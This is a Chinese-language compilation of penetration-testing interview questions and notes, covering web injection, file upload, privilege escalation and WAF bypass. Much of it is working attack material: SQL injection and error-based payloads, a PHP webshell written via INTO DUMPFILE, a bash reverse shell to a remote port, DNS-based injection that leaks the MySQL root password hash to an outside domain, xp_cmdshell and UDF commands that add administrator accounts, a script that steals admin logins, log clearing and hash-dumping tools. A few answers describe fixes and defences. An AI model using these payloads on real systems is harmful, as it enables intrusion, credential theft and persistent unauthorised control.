黑白之道文章内容
一套实用的渗透测试岗位面试题,你会吗?
1.拿到一个待检测的站,你觉得应该先做什么?
收集信息
whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...
2.mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。
3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
用邮箱做关键词进行丢进搜索引擎。
利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
利用已有信息生成专用字典。
观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。
4.判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。
5.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
6.常见的网站服务器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
7.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
8.目前已知哪些版本的容器有解析漏洞,具体举例。
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
空字节代码 xxx.jpg.php
Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
lighttpd
xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!
9.如何手工快速判断目标站是windows还是linux服务器?
linux大小写敏感,windows大小写不敏感。
10.为何一个mysql数据库的站,只有一个80端口开放?
更改了端口,没有扫描出来。
站库分离。
3306端口不对外开放
11.3389无法连接的几种情况。
没开放3389 端口
端口被修改
防护拦截
处于内网(需进行端口转发)
12.如何突破注入时字符被转义?
宽字符注入
hex编码绕过
13.在某后台新闻编辑界面看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞。
14.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
.jpg文件会被解析成.php文件。
具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。
15.注入漏洞只能查账号密码?
只要权限广,拖库脱到老。
16.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。
17.access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。
迅雷下载,直接改后缀为.mdb。
18.提权时选择可读写目录,为何尽量不用带空格的目录?
因为exp执行多半需要空格界定参数
19.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?
同数据库。
20.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
21:某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540。
22.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码。
23.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
其实有些站点,在登陆处也会这样提示
所有和数据库有交互的地方都有可能有注入。
25.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。
26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?
直接在网站二级目录/abc/下扫描敏感文件及目录。
27.在有shell的情况下,如何使用xss实现对目标站的长久控制?
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
在登录后才可以访问的文件中插入XSS脚本。
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
审查元素 把密码处的password属性改成text就明文显示了
29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?
原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过
30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到<hws>内容<hws>。
31.在win2003服务器中建立一个 .zhongzi文件夹用意何为?
隐藏文件夹,为了不让管理员发现你传上去的工具。
32、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆
33、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试
34、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
35、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
36、CSRF、SSRF和重放攻击有什么区别?
CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的
37、说出至少三种业务逻辑漏洞,以及修复方式?
密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码
身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份
验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过
38、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive
39、找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40、你常用的渗透工具有哪些,最常用的是哪个?
41、描述一个你深入研究过的 CVE 或 POC。
42、谈谈你经常关注的安全平台?
私人面试总结内容
1,做一下简单的自我介绍,经历,工作经验,爱好,自己总结。
面试题:
一,给你一个网站你是如何来渗透测试的?
在获取书面授权的前提下。
1)信息收集,
1,获取域名的whois信息,获取注册者邮箱姓名电话等。
2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
6,google hack 进一步探测网站的信息,后台,敏感文件
2)漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其他权限
4)权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6)总结报告及修复方案
一,sqlmap,怎么对一个注入点注入?
1)如果是get型号,直接,sqlmap -u "诸如点网址".
2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"
二,nmap,扫描的几种方式
三,sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入
四,报错注入的函数有哪些? 10个
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));
五,延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
六,盲注和延时注入的共同点?
都是一个字符一个字符的判断
七,如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等
八,sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
九,如何防止CSRF?
1,验证referer
2,验证token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
十,owasp 漏洞都有哪些?
1、SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发
十一:SQL注入防护方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
十二,代码执行,文件读取,命令执行的函数都有哪些?
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
十三,img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
十四,img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
1,远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
AddType application/x-httpd-php .jpg
<img src=http://xss.tv/1.jpg> 会以php方式来解析
**【【【【【【【代码审计】】】---
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
**【【【【【【【绕过walf】】】----------------------------------------------------------------
1、关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。
2、通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/!/就Fack了,所以只限于安全狗。比如:/!select*/
3、编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。
4,绕过策略一:伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎
5,360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截
1. GET /pen/news.php?id=1 union select user,password from mysql.user
1. GET /pen/news.php/admin?id=1 union select user,password from mysql.user
1. GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user
6,multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
7,参数绕过,复制参数,id=1&id=1
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格
8,内联注释,
文件上传,复制文件包一份再加一份
在 form-data;后面增加一定的字符
360面试指南
**【【【【【【【【宽字符注入】】】--------------------------------------------------------------
宽字符:解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。
http://wenku.baidu.com/link?url=F4Cq18NYdsnATq3eqtr3zCWLKExoEYV62yJp5zsfM5c85iv4rldTvl1A_SGilEAiWB_O_hg0C9A8VLoIT4K_HxyyF0Z7xo5Pihh1VxxYa4QGiXQ_wGDjiOFHubYvshgl
**【【【【【【【oracle注入】】】--------------------------------------------------------------
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高【攻击需求】较低权限账号
【造成危害】取得管理员权限
**mysql4和mysql5的区别---------------------------------------------------
mysql 5.0,增加了infomaction数据库,存储过程,视图,
**xss 挂马,ddos攻击,csrf--------
htmlspecialchars将与、单双引号、大于和小于号化成HTML格式
htmlentities() 所有字符都转成实体,strip_tags 去掉HTML和php标记
http://www.cnblogs.com/siqi/p/4117421.html
**【【【【【【【mssql提权】】】---------------------------------------------------------------
首先看看xp_cmdshell存在不,不存在的话先恢复下。
Exec sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE;
;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;--
如果cmdshell还不行的话,就再运行:;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者;sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll来恢复cmdshell。
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc xp_cmdshell
第二步执行:exec sp_addextendedproc xp_cmdshell,xpweb70.dll
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net user dell huxifeng007 /add
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net localgroup administrators dell /add
sql2008 提权 低权限运行
**【【【【【【【mssql提权错误5 cmd权限不足】】】-------------------------------------
错误代码”5″,马上google之。由于xp_cmdshell是严格用%systemroot%\system32\cmd.exe去执行所提交的命令的,提示”5″,意思是cmd的权限不足,就是说system32下的cmd.exe被降权了。当然也有绕过的方法,比如启用沙盒模式执行shell命令:
***【【【【【【【mssql2008 sqlmap ,提权成功】】】---------------------------------
http://www.freebuf.com/articles/web/10280.html
2008sa权限,用sqlmap提权成功。
第一种函数
select name from sysobjects where xtype=u 通过这个来爆第一个表
select name from sysobjects where xtype=u and name not in(爆出来的表1,爆出来的表2...)
一直爆下去,直到找到我们所需要的表位置
第二种函数
select table_name from information_schema.tables
select table_name from information_schema.tables where table_name not in (爆出来的表1,爆出来的表2...)。
**【【【【【【【XXE漏洞】】】--------------------------------------------
引用外部实体 <!ENTITY 实体名称 SYSTEM "URI">
或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
当允许引用外部实体时,通过构造恶意内容,
1可导致读取任意文件、2执行系统命令、3探测内网端口、4攻击内网网站等危害。
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为: xml_parse和simplexml_load xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.除PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题
https://www.waitalone.cn/xxe-attack.html
XXE漏洞 http://www.91ri.org/9539.html
<!DOCTYPE filename
[<!ENTITY entity-name "entity-content" ]>
0x04 防御
方案一、使用开发语言提供的禁用外部实体的方法
libxml_disable_entity_loader(true);
方案二、过滤用户提交的XML数据
1.检查所使用的底层xml解析库,默认禁止外部实体的解析
2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数
gpc 魔术引号 on http://www.jb51.net/article/38990
**【【【【【【【MYSQL提权】】】------------------------------
一 UDF提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:web3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);
二 VBS启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs";
三 Linx MySQL BackDoor提权
Linx Mysql Door
Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,该后门安装后为Mysql增加一个可以执行系统命令的"state"函数,并且随Mysql进程启动一个基于Dll的嗅探型后门,这个后门在Windows下拥有与Mysql一样的系统权限,从而巧妙的实现了无端口,无进程,无服务的穿墙木马.
用法:将Mysql.php传到PHP服务器上,点击"自动安装Mysql BackDoor",然后直接执行命令即可
四,MIX.DLL提权
http://www.freebuf.com/vuls/85021.html
1,在独立IP的sqlmap下运
2,禁用本地缓存 net stop dns
3,http://localhost/inject.php?user=123' and if((SELECT LOAD_FILE(CONCAT('\\',(SELECT hex(user())),'.abc.com\foobar'))),1,1)%23
http://localhost/inject.php?user=123' and if((SELECT LOADFILE(CONCAT('\\',(SELECT concat(user,'',mid(password,2,41)) from user where user='root' limit 1),'.md5crack.cn\foobar'))),1,1)%23
https://sanwen8.cn/p/1acWt8J.html DNS突破
**【【【【【【【SSRF】】】----------------------------------------------------
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
SSRF统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态
2.限制请求的端口为HTTP常用的端口,比如 80,443,8080,8088等
3.黑名单内网IP。
4.禁用不需要的协议,仅仅允许HTTP和HTTPS.
**【【【【【【【PHP命令执行】】】-----------------------------------------------------
system,exec,shell_exec,paassthru,popen,proc_popen,
反弹shell 公网服务器执行 nc –lvv 8888
目标服务器上执行?cmd= bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
并在disabl_functions中禁用
**【【【【【【【任意文件下载,限制php.ini open_basedir 限定文件的访问范】】】
**【【【【【【【文件包含漏洞】】】-----------------------------
• 配合文件上传漏洞GetShell• 可以执行任意脚本代码 • 网站源码文件以及配置文件泄露• 远程包含GetShell• 控制整个网站甚至是服务器
allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞
/etc/passwd • 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
• /etc/passwd././././././././././././.[......]/././././././././.
• php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256
index.php?page=php://filter/read/=convert.base64-encode/resource=index.php
**【【【【【【【文件上传,js检测,MIME类型检测Content-Type,文件内容,服务端目】】】录-------------------------------------------------------------
通过抓包截断将 eval.php.jpg 换成 eval.php_jpg(下划线为0x00)。在上
传文件时系统文件遇到0x00。会认为文件已经结束。从而将eval.php.jpg的内
容写入到eval.php中。
。htaccess文件内容
<FilesMatch “haha”>
SetHandler application/x-httpd-php
</FileMatch>
文件幻数检测 jpg(JFIF) gif(GIF89a) png(%PNG)
apache解析漏洞,2.0-2.2 IIS7.5解析漏洞,任意文件名后加.php
nginx<0.8.32 1.jpg/1.php
nginx>0.8.41<1.5.6,1.jpg%20.php解析
**【【【【【【【and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
1、通过floor报错 向下取整
+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4.geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));
5.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10.exp()select from test where id=1 and exp(~(select from(select user())a));
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
**SQL注入(Sql Injection )是一种将SQL语句插入或添加到应用(用户)的输入
参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。----------------------
**【【【【【【【HTTP协议head 这个方法的功能与get方法相似,】】】不同之处在于HEAD。这个方法的功能与GET方法相似,不同之处在
于服务器不会在其相应中返回消息主体。
• TRACE。这种方法主要用于诊断。
• OPTIONS。这种方法要求服务器报告对某一特殊资源有效的HTTP方法。
• PUT。这个方法试图使用包含在请求主体中的内容,向服务器上传制定的资源
** 各种注释#-- -- - --+ // /**/ 空白字符,+号,-号,~号,!号,@形式{} %0a-----------------------------
域和组的区别编辑
工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。为什么是这样的呢?因为在加入域的时候,管理员为每个计算机在域中(可和用户不在同一域中)建立了一个计算机帐户,这个帐户和用户帐户一样,也有密码保护的。可是大家要问了,我没有输入过什么密码啊,是的,你确实没有输入,计算机帐户的密码不叫密码,在域中称为登录凭据,它是由2000的DC(域控制器)上的KDC服务来颁发和维护的。为了保证系统的安全,KDC服务每30天会自动更新一次所有的凭据,并把上次使用的凭据记录下来。周而复始。也就是说服务器始终保存着2个凭据,其有效时间是60天,60天后,上次使用的凭据就会被系统丢弃。如果你的GHOST备份里带有的凭据是60天的,那么该计算机将不能被KDC服务验证,从而系统将禁止在这个计算机上的任何访问请求(包括登录),解决的方法呢,简单的方法使将计算机脱离域并重新加入,KDC服务会重新设置这一凭据。或者使用2000资源包里的NETDOM命令强制重新设置安全凭据。因此在有域的环境下,请尽量不要在计算机加入域后使用GHOST备份系统分区,如果作了,请在恢复时确认备份是在60天内作的,如果超出,就最好联系你的系统管理员,你可以需要管理员重新设置计算机安全凭据,否则你将不能登录域环境。
域和工作组适用的环境不同,域一般是用在比较大的网络里,工作组则较小,在一个域中需要一台类似服务器的计算机,叫域控服务器,其他电脑如果想互相访问首先都是经过它的,但是工作组则不同,在一个工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的,但是和域一样,如果一台计算机想访问其他计算机的话首先也要找到这个组中的一台类似组控服务器,组控服务器不是固定的,以选举的方式实现,它存储着这个组的相关信息,找到这台计算机后得到组的信息然后访问。
**【【【【【【【提权】】】---------------------------------------------
systeminfo 查看修补补订
systeminfo
查看未修补的补丁编号
KB952004 MS09-012 PR -pr.exe
KB956572 MS09-012 巴西烤肉
KB970483 MS09-020 IIS6溢出 -iis6.exe
LPK劫持 -lpk.dll
windows 2003>>
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191
KB2840221 KB3000061 KB2850851 KB2711167 KB2360937
KB2478960 KB2507938 KB2566454 KB2646524 KB2645640
KB2641653 KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799 KB956572
KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt|
@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows
\Temp\temp.txt
通用型>>
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3124280
KB3143141 KB3134228 KB3079904 KB3077657 KB3124280
KB3045171 KB2829361 KB3000061 KB2850851 KB2707511
KB970483 KB2124261 KB2271195) do @type C:\Windows
\Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /
q /a C:\Windows\Temp\temp.txt
接下来 可以
修改管理员密码
创建一个新用户 添加到管理员组
提取当前登录用户密码 (Getpass.exe)
修改帮助账号(SUPPOTR_338945a0)的密码,并添加管理员组 (比较不容易被发现,推荐使用)
提取用户密码哈希值(wce.exe)
linux 脏牛漏洞,系统自身漏洞
ftp-serv-u
mof mysql提权
administrator以上权限
当前管理员没有注销登录(query user 命令查看)
工具: mimkatz
getpass
工具:-------------到处hash
wce
gethash
hashdump
SAMInside读取系统用户密码 administrator
Pwdump7这个工具是一个命令行工具Win7下测试直接是空白输出,在2003下能出来hash如果使用脚本来破解的话,那样的话会打开两个在线破解hash的网站,同时打开导出的结果
可运用的sql函数&关键字:
MySQL:
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号:
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号:
mid(version() from 1 for 1)
MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec